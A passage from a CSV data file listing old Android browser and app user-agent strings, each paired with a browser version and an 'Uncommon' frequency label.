Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-gb; SonyEricssonU20i Build/2.1.1.A.0.6) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-P6800 Build/JZO54K; CyanogenMod-10) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; SM-T110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; WL-101GQC Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; SM-T217T Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; GT-S5360L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3.1; en-us; Android SDK built for x86 Build/JB_MR2) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.1; en-gb; GT-P7500 Build/HMJ37) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-; AX107 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; pt-br; LG-E612f Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-us; LG-P769 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; SAMSUNG-SGH-I747 Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-au; GT-P7500 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I200 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; fr-fr; Transformer TF101 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; ro-ro; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-gb; GT-N8000 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; es-es; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; fi-fi; GT-P3110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; QMV7A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-au; U8815 Build/HuaweiU8815C346B801) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-au; HTC_A3335 V2.38.841.7 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Micromax A77 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; ar-ae; GT-S7562 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; GT-I9100 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5570 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; HTC-A9192/1.0 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-L710 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-us; IdeaTab S6000-F Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9305 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S6802B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; tr-tr; GT-I8200Q Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S5302B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; he-il; GT-I8190N Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; SM-T111 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HTC6435LVW Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; id-id; GT-S5312 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; ADR910L 4G Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; hu-hu; MediaPad T1 8.0 Build/HuaweiMediaPad) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; SAMSUNG-SGH-I727 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; M886 Build/HuaweiM886) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; Z795G Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.1 Mobile Safari/534.30\",4.1,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; GT-I9305 Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; rk30sdk Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-ca; LG-E971 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; HW-HUAWEI_G730-C00/G730-C00V100R001C92B154; 540*960; CTC/2.0) AppleWebKit/534.30 (KHTML, like Gecko) Mobile Safari/534.30\",,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.4.2; SM-T210 Build/KOT49H),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T959V Build/RemICS-UX; CyanogenMod-9) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; es-es; bq Aquaris 5 HD Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; el-gr; GT-P3110 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-gb; GEM10313BK Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; HTC Glacier Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-gb; GT-I9000 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; zh-hk; GT-N7100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; ZTE-Z990 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile myTouch 3G Slide Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; pt-br; GT-S5360B Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; LG-P999 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; nl-nl; GT-P3110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-us; Galaxy Nexus Build/JWR66Y) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.1; en-in; Micromax A116i Build/JOP40D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; nl-nl; Sony Tablet S Build/TISU0143) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 7.1.1; SM-N950U Build/NMF26X),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-in; Micromax A110 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/1.6.0 (Linux; U; Android 4.3; C5303 Build/12.1.A.1.205),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; IdeaTabA2109A Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; GT-P5220 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; tr-tr; LG-E986 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; LG-AS780 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; ru-ru; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; fr-fr; GT-N8010 Build/JRO03C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; MZ617 4G Build/7.7.1-85_MZ617-27) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\nCallpod Keeper for Android 1.0 (10.0.1/235) Dalvik/2.1.0 (Linux; U; Android 5.0.1; SM-N915V Build/LRX22C),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; LG-D801 Build/JDQ39B) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; MID7036 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; rk30sdk Build/JRO03H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; Chaser Build/GRJ90) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nCallpod Keeper for Android 1.0 (10.3.5/250) Dalvik/2.1.0 (Linux; U; Android 6.0; LG-H900 Build/MRA58K),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-; ST23i Build/11.0.A.5.5) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; MB865 Build/5.5.1-175_EDMR1.25) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SCH-S738C Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-es; GT-P3113 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; de-de; SM-T210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; zh-cn; DESAY TS1218 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; es-us; SM-T210R Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; sv-se; ST21i Build/11.0.A.4.22) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.16\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-I757M Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SM-G900P Build/KOT49H) AppleWebKit/537.16 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.16\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-ca; LT7035-L Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; he-il; GT-I9105P Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 7.0; SM-T580 Build/NRD90M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; iw-il; LG-P714 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 6.0.1; SM-T560NU Build/MMB29M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; nb-no; GT-P5110 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; XT905 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-ca; SGH-I317M Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; fr-fr; GT-P7510 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; en-us; SAMSUNG-SM-G360AZ Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; Sprint APX515CKT Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; GT-N7100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; es-us; ALCATEL ONE TOUCH 7042A Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-P5200 Build/JDQ39E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; tr-tr; GT-S6500D Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HTC_H3000C Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; da-dk; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; N850L Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Zio Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; GT-N5100 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; HTC_H3000C Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5570I Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-au; GT-S6500T Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; HP Slate 7 Plus Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; zh-cn; H30-U10 Build/HuaweiH30-U10) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; it-it; GT-I9105P Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-es; GT-S5570I Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; da-dk; GT-I9100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.1-update1; en-gb; SonyEricssonE15i Build/2.1.1.A.0.6) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; nl-nl; GT-S5830i Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; SM-T210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; HTC_PH39100/1.63.502.4 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.1; en-us; Galaxy Nexus Build/ITL41F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-S730M Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; SGH-T699 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\nPKT-301/V2 Linux/3.0.13 Android/4.0 Release/02.15.2012 Browser/AppleWebKit534.30 Mobile Safari/534.30 MBBMS/2.2 System/Android 4.2.2,,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; generic Build/Froyo) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDDG-Android-3.0.11,,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.3; en-us; Sprint APA9292KT Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; en-ca; SGH-I747M Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2; en-us; GT-P1000 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nCallpod Keeper for Android 1.0 (10.1.2/241) Dalvik/2.1.0 (Linux; U; Android 5.0.1; SAMSUNG-SM-N915A Build/LRX22C),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; Vodafone 785 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.2 Mobile Safari/534.30 SVN/120HEG1\",4.2,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; pt-br; ONE TOUCH 4007A Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2; en-us; SonyC6903 Build/14.1.G.1.518) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N7100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; nl-nl; SM-T210 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530U Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30evme-launcher\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5300L Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; SPH-M580 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-ca; SM-G730W8 Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.4.4; he-il; m1 note Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Mobile Safari/537.36\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; Karbonn A1+ Duple Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.4; es-es; GT-P7500 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; M9300 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 5.1; Lenovo A7010a48 Build/LMY47D),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; Slider SL101 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.3; fr-fr; GT-I9300 Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 3.2; en-gb; GT-P6800 Build/HTJ85B) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 4.2.2; en-gb; HTC_Desire_310 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30\",4,Uncommon\n\"Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; A101IT Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1\",4,Uncommon\nDalvik/2.1.0 (Linux; U; Android 6.0.1; SM-T350 Build/MMB29M),,Uncommon\n\"Mozilla/5.0 (Linux; U; Android; en-us) AppleWebKit/999+ (KHTML, like Gecko) 